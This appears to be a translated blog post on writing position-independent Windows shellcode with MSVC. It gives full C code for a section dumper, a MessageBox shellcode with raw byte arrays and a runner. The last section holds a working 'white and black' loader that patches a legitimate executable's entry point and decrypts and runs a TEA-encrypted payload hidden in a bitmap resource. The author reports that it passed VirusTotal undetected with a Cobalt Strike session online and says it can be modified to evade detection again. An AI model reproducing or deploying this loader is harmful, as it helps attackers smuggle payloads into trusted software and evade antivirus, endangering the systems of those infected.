It’s been a while since I posted an article, just writing something to prevent you from unfollowing.Ready-made Shellcode template: https://github.com/Brassinolide/windows-shellcode-templateShellcode is position-independent assembly code, written in C/C++.Shellcode requires some tricks to ensure that the final compiled assembly code is position-independent.The tips provided in this article are only applicable to MSVC; I haven’t researched other compilers, but they should be similar.Open Visual Studio, create a new project, and first, you need to make some settings for the project.1. C/C++ -> Code Generation -> Disable Security Checks
2. C/C++ -> Code Generation -> Disable Enhanced Instruction Set (this will be explained later)
3. Linker -> Advanced -> Modify Entry Point (the function name can be anything, but it cannot be called main)
If the shellcode needs to call external functions, it can only first obtain the address of kernel32.dll from the PEB, and then resolve the export table of kernel32.dll to get the addresses of LoadLibrary and GetProcAddress functions, thus obtaining the addresses of other API functions. There are many tutorials online about this, so I won’t elaborate here (specific code can refer to the shellcode template provided above).Then you can start writing the shellcode, just pay attention to the following matters:Function Arrangement Issues
For MSVC, the order of the compiled assembly code corresponds to the order of definitions in the source file (generally this is the case; I haven’t seen special cases).

You can see from IDA that foo -> shellmain -> bar

Executable programs can set the entry point to execute the correct entry function, but shellcode cannot; the entry function must be placed at the beginning, otherwise, other functions will be executed first, causing the program to crash.
There are three solutions: one is to place the definition of the entry function at the very beginning of the source file (the best solution), the second is to use __forceinline to force inline all functions (increases size, not recommended), and the third is to write a jmp at the beginning of the shellcode to jump to the correct entry function (very troublesome, after compilation, you still need to manually determine the entry point and then write a jmp).
Vector Optimization IssuesConstant data must be declared in the following way to be hardcoded into the instructions:
const char str3[] = {'h','e','l','l','o',' ','w','o','r','l','d',0};


However, this method still has a subtle vector optimization issue.
When the data length exceeds 15 bytes, the compiler will automatically perform vector optimization. The problem is that vectorized data will be placed in the data section.

32-bit programs can specify compilation options<span>/arch:IA32</span>to disable vector optimization (which is the enhanced instruction set mentioned above), but this is not possible for 64-bit (64-bit CPUs all support the SSE2 instruction set, so Microsoft has enabled SSE2 optimization by default, and it cannot be turned off).If the data length exceeds 15 bytes, you can only use<span>volatile</span>to prevent the compiler from performing vector optimization.
const volatile char str5[16] = { 'a','s','d','f','a','s','d','f','a','s','d','f','a','s','d',0 };printf((const char*)str5);

Hello World Example
After compiling the exe, you can directly dump the text section to run it.
Example dumper:
void dump_text_section(const char* in, const char* out1, const char* out2) { HANDLE hIn = INVALID_HANDLE_VALUE, hOut1 = INVALID_HANDLE_VALUE, hOut2 = INVALID_HANDLE_VALUE; char* in_buffer = nullptr; DWORD file_size = 0; const char text[8] = { '.','t','e','x','t' , 0, 0, 0 }; PIMAGE_DOS_HEADER dos_header; PIMAGE_NT_HEADERS32 nt_header_32; PIMAGE_SECTION_HEADER section_header; printf("processing %s...", in); hIn = CreateFileA(in, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0); if (hIn == INVALID_HANDLE_VALUE) { printf("Cannot open file\n"); goto exit; } file_size = GetFileSize(hIn, 0); in_buffer = new char[file_size]; DWORD dwRead; if (!ReadFile(hIn, in_buffer, file_size, &dwRead, 0)) { printf("Cannot read file\n"); goto exit; } dos_header = (PIMAGE_DOS_HEADER)in_buffer; nt_header_32 = (PIMAGE_NT_HEADERS32)(in_buffer + dos_header->e_lfanew); section_header = IMAGE_FIRST_SECTION(nt_header_32); for (int i = section_header->PointerToRawData + section_header->SizeOfRawData - 1; i >= 0; --i) { if (in_buffer[i] != 0) break; --section_header->SizeOfRawData; } for (int i = 0; i < nt_header_32->FileHeader.NumberOfSections; ++i, ++section_header) { if (memcmp(section_header->Name, text, 8) == 0) { printf("\n - dump to %s...", out1); hOut1 = CreateFileA(out1, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, 0); if (hOut1 == INVALID_HANDLE_VALUE) { printf("Cannot create file\n"); goto exit; } DWORD write; if (!WriteFile(hOut1, in_buffer + section_header->PointerToRawData, section_header->SizeOfRawData, &write, 0)) { printf("Cannot write file\n"); goto exit; } printf("Success\n"); printf(" - dump to %s...", out2); hOut2 = CreateFileA(out2, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, 0); if (hOut2 == INVALID_HANDLE_VALUE) { printf("Cannot create file\n"); goto exit; } std::stringstream ss; ss << "const unsigned char shellcode[" << section_header->SizeOfRawData << "] = {"; ss << std::showbase << std::hex << std::setfill('0') << std::setw(2); for (DWORD i = 0; i < section_header->SizeOfRawData; ++i) { if (i % 32 == 0) { ss << "\n "; } ss << static_cast(static_cast((in_buffer + section_header->PointerToRawData)[i])) << ","; } ss << "\n};"; if (!WriteFile(hOut2, ss.str().c_str(), ss.str().size(), &write, 0)) { printf("Cannot write file\n"); goto exit; } printf("Success\n"); goto exit; } } printf(".text section not found\n"); exit: if (hIn != INVALID_HANDLE_VALUE) CloseHandle(hIn); if (hOut1 != INVALID_HANDLE_VALUE) CloseHandle(hOut1); if (hOut2 != INVALID_HANDLE_VALUE) CloseHandle(hOut2); if (in_buffer != nullptr) delete[] in_buffer; } int main(int argc, char** argv) { if (argc != 2) return 1; if (strcmp(argv[1], "32") == 0) { dump_text_section("build/shellcode32.exe", "build/shellcode32.bin", "build/shellcode32.h"); } if (strcmp(argv[1], "64") == 0) { dump_text_section("build/shellcode64.exe", "build/shellcode64.bin", "build/shellcode64.h"); } }
hello world example shellcode:
#include <windows.h>#include <cstdint> #ifdef _WIN64 extern "C" DWORD64 GetK32(); #define GetK32Proc GetK32Proc64 DWORD64 GetK32Proc64(const char* proc); #else #define GetK32Proc GetK32Proc32 DWORD GetK32Proc32(const char* proc); #endif typedef HMODULE(WINAPI* LoadLibraryA_t)(LPCSTR lpLibFileName); typedef FARPROC(WINAPI* GetProcAddress_t)(HMODULE hModule, LPCSTR lpProcName); typedef int(WINAPI* MessageBoxA_t)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); void shellcode() { const char LoadLibraryA_s[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 }; const char MessageBoxA_s[] = { 'M','e','s','s','a','g','e','B','o','x','A',0 }; const char hello_world_s[] = { 'h','e','l','l','o',' ','w','o','r','l','d',0 }; const char user32_dll_s[] = { 'u','s','e','r','3','2','.','d','l','l',0 }; const char GetProcAddress_s[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0 }; LoadLibraryA_t MyLoadLibrary = (LoadLibraryA_t)GetK32Proc(LoadLibraryA_s); GetProcAddress_t MyGetProcAddress = (GetProcAddress_t)GetK32Proc(GetProcAddress_s); MessageBoxA_t MyMessageBoxA = (MessageBoxA_t)MyGetProcAddress(MyLoadLibrary(user32_dll_s), MessageBoxA_s); MyMessageBoxA(0, hello_world_s, 0, 0); } #ifdef _WIN64 DWORD64 GetK32Proc64(const char* proc) { DWORD64 k32 = GetK32(); DWORD e_lfanew = *(DWORD*)(k32 + 60); DWORD export_rva = *(DWORD*)(k32 + e_lfanew + 136); DWORD AddressOfFunctions = *(DWORD*)(k32 + export_rva + 28); DWORD AddressOfNames = *(DWORD*)(k32 + export_rva + 32); DWORD AddressOfNameOrdinals = *(DWORD*)(k32 + export_rva + 36); DWORD* AddressOfFunctions_va = (DWORD*)(k32 + AddressOfFunctions); DWORD* AddressOfNames_va = (DWORD*)(k32 + AddressOfNames); WORD* AddressOfNameOrdinals_va = (WORD*)(k32 + AddressOfNameOrdinals); DWORD NumberOfNames = *(DWORD*)(k32 + export_rva + 24); for (size_t i = 0; i < NumberOfNames; i++) { const char* func = (const char*)(k32 + AddressOfNames_va[i]); const char* _proc = proc; while (*func && (*func == *_proc)) { func++; _proc++; } if (*(unsigned char*)func - *(unsigned char*)_proc == 0) { return k32 + AddressOfFunctions_va[AddressOfNameOrdinals_va[i]]; } } return 0; } #else DWORD GetK32Proc32(const char* proc) { DWORD k32 = 0; __asm { mov eax, fs: [0x30]; mov eax, [eax + 0xc]; mov eax, [eax + 0x14]; mov eax, [eax]; mov eax, [eax]; mov eax, [eax + 0x10]; mov k32, eax; } DWORD e_lfanew = *(DWORD*)(k32 + 60); DWORD export_rva = *(DWORD*)(k32 + e_lfanew + 120); DWORD AddressOfFunctions = *(DWORD*)(k32 + export_rva + 28); DWORD AddressOfNames = *(DWORD*)(k32 + export_rva + 32); DWORD AddressOfNameOrdinals = *(DWORD*)(k32 + export_rva + 36); DWORD* AddressOfFunctions_va = (DWORD*)(k32 + AddressOfFunctions); DWORD* AddressOfNames_va = (DWORD*)(k32 + AddressOfNames); WORD* AddressOfNameOrdinals_va = (WORD*)(k32 + AddressOfNameOrdinals); DWORD NumberOfNames = *(DWORD*)(k32 + export_rva + 24); for (size_t i = 0; i < NumberOfNames; i++) { const char* func = (const char*)(k32 + AddressOfNames_va[i]); const char* _proc = proc; while (*func && (*func == *_proc)) { func++; _proc++; } if (*(unsigned char*)func - *(unsigned char*)_proc == 0) { return k32 + AddressOfFunctions_va[AddressOfNameOrdinals_va[i]]; } } return 0; } #endif
Example shellcode loader::
#ifdef _WIN64 const unsigned char shellcode[492] = { 0x48,0x89,0x5c,0x24,0x8,0x48,0x89,0x74,0x24,0x10,0x48,0x89,0x7c,0x24,0x18,0x4c,0x89,0x74,0x24,0x20,0x55,0x48,0x8b,0xec,0x48,0x83,0xec,0x70,0xc7,0x45,0xe0,0x4c, 0x6f,0x61,0x64,0xc7,0x45,0xe4,0x4c,0x69,0x62,0x72,0xc7,0x45,0xe8,0x61,0x72,0x79,0x41,0xc6,0x45,0xec,0,0xc7,0x45,0xc0,0x4d,0x65,0x73,0x73,0xc7,0x45,0xc4,0x61, 0x67,0x65,0x42,0xc7,0x45,0xc8,0x6f,0x78,0x41,0,0xc7,0x45,0xd0,0x68,0x65,0x6c,0x6c,0xc7,0x45,0xd4,0x6f,0x20,0x77,0x6f,0xc7,0x45,0xd8,0x72,0x6c,0x64,0,0xc7, 0x45,0xb0,0x75,0x73,0x65,0x72,0xc7,0x45,0xb4,0x33,0x32,0x2e,0x64,0x66,0xc7,0x45,0xb8,0x6c,0x6c,0xc6,0x45,0xba,0,0xc7,0x45,0xf0,0x47,0x65,0x74,0x50,0xc7,0x45, 0xf4,0x72,0x6f,0x63,0x41,0xc7,0x45,0xf8,0x64,0x64,0x72,0x65,0x66,0xc7,0x45,0xfc,0x73,0x73,0xc6,0x45,0xfe,0,0xe8,0x35,0x1,0,0,0x45,0x33,0xf6,0x4c,0x8b, 0xc8,0x45,0x8b,0xc6,0x8b,0x48,0x3c,0x8b,0x94,0x1,0x88,0,0,0,0x8b,0x5c,0x2,0x1c,0x44,0x8b,0x5c,0x2,0x20,0x48,0x3,0xd8,0x8b,0x7c,0x2,0x24,0x4c,0x3, 0xd8,0x44,0x8b,0x54,0x2,0x18,0x48,0x3,0xf8,0x4d,0x85,0xd2,0x74,0x38,0x66,0x90,0x43,0x8b,0x4,0x83,0x48,0x8d,0x55,0xe0,0x49,0x3,0xc1,0xf,0xb6,0x8,0x84,0xc9, 0x74,0x12,0x3a,0xa,0x75,0xe,0xf,0xb6,0x48,0x1,0x48,0xff,0xc0,0x48,0xff,0xc2,0x84,0xc9,0x75,0xee,0xf,0xb6,0x12,0xf,0xb6,0x8,0x3b,0xca,0x74,0x7a,0x49,0xff, 0xc0,0x4d,0x3b,0xc2,0x72,0xca,0x49,0x8b,0xde,0xe8,0xc2,0,0,0,0x4c,0x8b,0xc8,0x4d,0x8b,0xc6,0x8b,0x48,0x3c,0x8b,0x94,0x1,0x88,0,0,0,0x8b,0x7c, 0x2,0x1c,0x44,0x8b,0x5c,0x2,0x20,0x48,0x3,0xf8,0x8b,0x74,0x2,0x24,0x4c,0x3,0xd8,0x44,0x8b,0x54,0x2,0x18,0x48,0x3,0xf0,0x4d,0x85,0xd2,0x74,0x53,0x66,0x90, 0x43,0x8b,0x4,0x83,0x48,0x8d,0x55,0xf0,0x49,0x3,0xc1,0xf,0xb6,0x8,0x84,0xc9,0x74,0x12,0x3a,0xa,0x75,0xe,0xf,0xb6,0x48,0x1,0x48,0xff,0xc0,0x48,0xff,0xc2, 0x84,0xc9,0x75,0xee,0xf,0xb6,0xa,0xf,0xb6,0,0x3b,0xc1,0x74,0x17,0x49,0xff,0xc0,0x4d,0x3b,0xc2,0x72,0xca,0xeb,0x19,0x42,0xf,0xb7,0x4,0x47,0x8b,0x1c,0x83, 0x49,0x3,0xd9,0xeb,0x84,0x42,0xf,0xb7,0x4,0x46,0x44,0x8b,0x34,0x87,0x4d,0x3,0xf1,0x48,0x8d,0x4d,0xb0,0xff,0xd3,0x48,0x8b,0xc8,0x48,0x8d,0x55,0xc0,0x41,0xff, 0xd6,0x45,0x33,0xc9,0x48,0x8d,0x55,0xd0,0x45,0x33,0xc0,0x33,0xc9,0xff,0xd0,0x4c,0x8d,0x5c,0x24,0x70,0x49,0x8b,0x5b,0x10,0x49,0x8b,0x73,0x18,0x49,0x8b,0x7b,0x20, 0x4d,0x8b,0x73,0x28,0x49,0x8b,0xe3,0x5d,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x65,0x48,0x8b,0x4,0x25,0x60,0,0,0,0x48,0x8b,0x40,0x18,0x48,0x8b,0x40, 0x30,0x48,0x8b,0,0x48,0x8b,0,0x48,0x8b,0x40,0x10,0xc3,}; #else const unsigned char shellcode[369] = { 0x55,0x8b,0xec,0x83,0xec,0x44,0x56,0x57,0x8d,0x4d,0xcc,0xc7,0x45,0xcc,0x4c,0x6f,0x61,0x64,0xc7,0x45,0xd0,0x4c,0x69,0x62,0x72,0xc7,0x45,0xd4,0x61,0x72,0x79,0x41, 0xc6,0x45,0xd8,0,0xc7,0x45,0xe8,0x4d,0x65,0x73,0x73,0xc7,0x45,0xec,0x61,0x67,0x65,0x42,0xc7,0x45,0xf0,0x6f,0x78,0x41,0,0xc7,0x45,0xdc,0x68,0x65,0x6c,0x6c, 0xc7,0x45,0xe0,0x6f,0x20,0x77,0x6f,0xc7,0x45,0xe4,0x72,0x6c,0x64,0,0xc7,0x45,0xf4,0x75,0x73,0x65,0x72,0xc7,0x45,0xf8,0x33,0x32,0x2e,0x64,0x66,0xc7,0x45,0xfc, 0x6c,0x6c,0xc6,0x45,0xfe,0,0xc7,0x45,0xbc,0x47,0x65,0x74,0x50,0xc7,0x45,0xc0,0x72,0x6f,0x63,0x41,0xc7,0x45,0xc4,0x64,0x64,0x72,0x65,0x66,0xc7,0x45,0xc8,0x73, 0x73,0xc6,0x45,0xca,0,0xe8,0x36,0,0,0,0x8d,0x4d,0xbc,0x8b,0xf8,0xe8,0x2c,0,0,0,0x8b,0xf0,0x8d,0x45,0xe8,0x50,0x8d,0x45,0xf4,0x50,0xff,0xd7, 0x50,0xff,0xd6,0x6a,0,0x6a,0,0x8d,0x4d,0xdc,0x51,0x6a,0,0xff,0xd0,0x5f,0x5e,0x8b,0xe5,0x5d,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc, 0x55,0x8b,0xec,0x83,0xec,0x14,0x53,0x56,0x8b,0xd1,0xc7,0x45,0xfc,0,0,0,0,0x57,0x89,0x55,0xf4,0x64,0xa1,0x30,0,0,0,0x8b,0x40,0xc,0x8b,0x40, 0x14,0x8b,0,0x8b,0,0x8b,0x40,0x10,0x89,0x45,0xfc,0x8b,0x7d,0xfc,0x33,0xf6,0x8b,0x47,0x3c,0x8b,0x44,0x38,0x78,0x8b,0x4c,0x38,0x1c,0x8b,0x5c,0x38,0x24,0x3, 0xcf,0x3,0xdf,0x89,0x4d,0xec,0x8b,0x4c,0x38,0x20,0x3,0xcf,0x89,0x5d,0xf0,0x8b,0x5c,0x38,0x18,0x89,0x4d,0xf8,0x85,0xdb,0x74,0x38,0x66,0xf,0x1f,0x44,0,0, 0x8b,0x4,0xb1,0x8a,0xc,0x38,0x3,0xc7,0x84,0xc9,0x74,0x11,0xf,0x1f,0x40,0,0x3a,0xa,0x75,0x9,0x8a,0x48,0x1,0x40,0x42,0x84,0xc9,0x75,0xf3,0xf,0xb6,0xa, 0xf,0xb6,0,0x2b,0xc1,0x74,0x14,0x8b,0x4d,0xf8,0x46,0x8b,0x55,0xf4,0x3b,0xf3,0x72,0xce,0x5f,0x5e,0x33,0xc0,0x5b,0x8b,0xe5,0x5d,0xc3,}; #endif #pragma comment(linker, "/SECTION:.data,ERW") #pragma comment(linker, "/SECTION:.rdata,ERW") int main() { ((void(*)())(void*)shellcode)(); }

Example of a loader written in white and black:
An example of a loader written using the shellcode template provided above.
The compiled loader shellcode directly overwrites the entry point of the white file, and at runtime, the loader reads the shellcode from the resources of the white file and executes it.
VT all green CS online (it is definitely detected now, but this loader can be modified to have a completely green status again).
typedef HMODULE(WINAPI* LoadLibraryA_t)(LPCSTR lpLibFileName); typedef FARPROC(WINAPI* GetProcAddress_t)(HMODULE hModule, LPCSTR lpProcName); typedef int(WINAPI* MessageBoxA_t)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); typedef HMODULE(WINAPI* GetModuleHandleA_t)(LPCSTR lpModuleName); typedef HRSRC(WINAPI* FindResourceA_t)(HMODULE hModule, LPCSTR lpName, LPCSTR lpType); typedef HGLOBAL(WINAPI* LoadResource_t)(HMODULE hModule, HRSRC hResInfo); typedef LPVOID(WINAPI* LockResource_t)(HGLOBAL hResData); typedef BOOL(WINAPI* VirtualProtect_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); static void mytea(uint8_t* data, size_t size, uint8_t key[16]); struct payload_header{ uint8_t key[16]; uint32_t size; }; void shellcode() { // More than 15 bytes must use volatile to avoid vectorization const volatile char GetModuleHandleA_s[] = { 'G','e','t','M','o','d','u','l','e','H','a','n','d','l','e','A',0 }; const char FindResourceA_s[] = { 'F','i','n','d','R','e','s','o','u','r','c','e','A',0 }; const char LoadResource_s[] = { 'L','o','a','d','R','e','s','o','u','r','c','e',0 }; const char LockResource_s[] = { 'L','o','c','k','R','e','s','o','u','r','c','e',0 }; const char MyResource_s[] = { 'M','y','R','e','s','o','u','r','c','e',0 }; const char VirtualProtect_s[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0 }; GetModuleHandleA_t MyGetModuleHandleA = (GetModuleHandleA_t)GetK32Proc((const char*)GetModuleHandleA_s); FindResourceA_t MyFindResourceA = (FindResourceA_t)GetK32Proc(FindResourceA_s); LoadResource_t MyLoadResource = (LoadResource_t)GetK32Proc(LoadResource_s); LockResource_t MyLockResource = (LockResource_t)GetK32Proc(LockResource_s); VirtualProtect_t MyVirtualProtect = (VirtualProtect_t)GetK32Proc(VirtualProtect_s); HMODULE h = MyGetModuleHandleA(0); HRSRC r = MyFindResourceA(h, MyResource_s, MAKEINTRESOURCEA(RT_BITMAP)); if (!r) return; HGLOBAL rc = MyLoadResource(h, r); if (!rc) return; BYTE* data = (BYTE*)MyLockResource(rc); if (!data) return; payload_header* header = (payload_header*)data; DWORD old; if (!MyVirtualProtect(data, header->size + sizeof payload_header, PAGE_EXECUTE_READWRITE, &old)) return; mytea(data + sizeof payload_header, header->size, header->key); ((void(*)())(void*)(data + sizeof payload_header))(); } static uint64_t tea_encrypt(uint64_t v, uint32_t* k) { uint32_t v0 = ((uint32_t*)&v)[0], v1 = ((uint32_t*)&v)[1], sum = 0; uint32_t delta = 0x9e3779b9; uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; for (int i = 0; i < 32; i++) { sum += delta; v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); } uint64_t result = 0; ((uint32_t*)&result)[0] = v0; ((uint32_t*)&result)[1] = v1; return result; } // CTR mode, no padding, encryption and decryption are the same static void mytea(uint8_t* data, size_t size, uint8_t key[16]) { uint64_t counter = *(uint64_t*)key; for (size_t offset = 0; offset < size; offset += 8, ++counter) { size_t remaining = size - offset; if (remaining >= 8) { (*(uint64_t*)(data + offset)) ^= tea_encrypt(counter, (uint32_t*)key); } else { uint8_t temp[8]{}; for (int i = 0; i < remaining; ++i) temp[i] = (data + offset)[i]; (*(uint64_t*)temp) ^= tea_encrypt(counter, (uint32_t*)key); for (int i = 0; i < remaining; ++i) (data + offset)[i] = temp[i]; } } }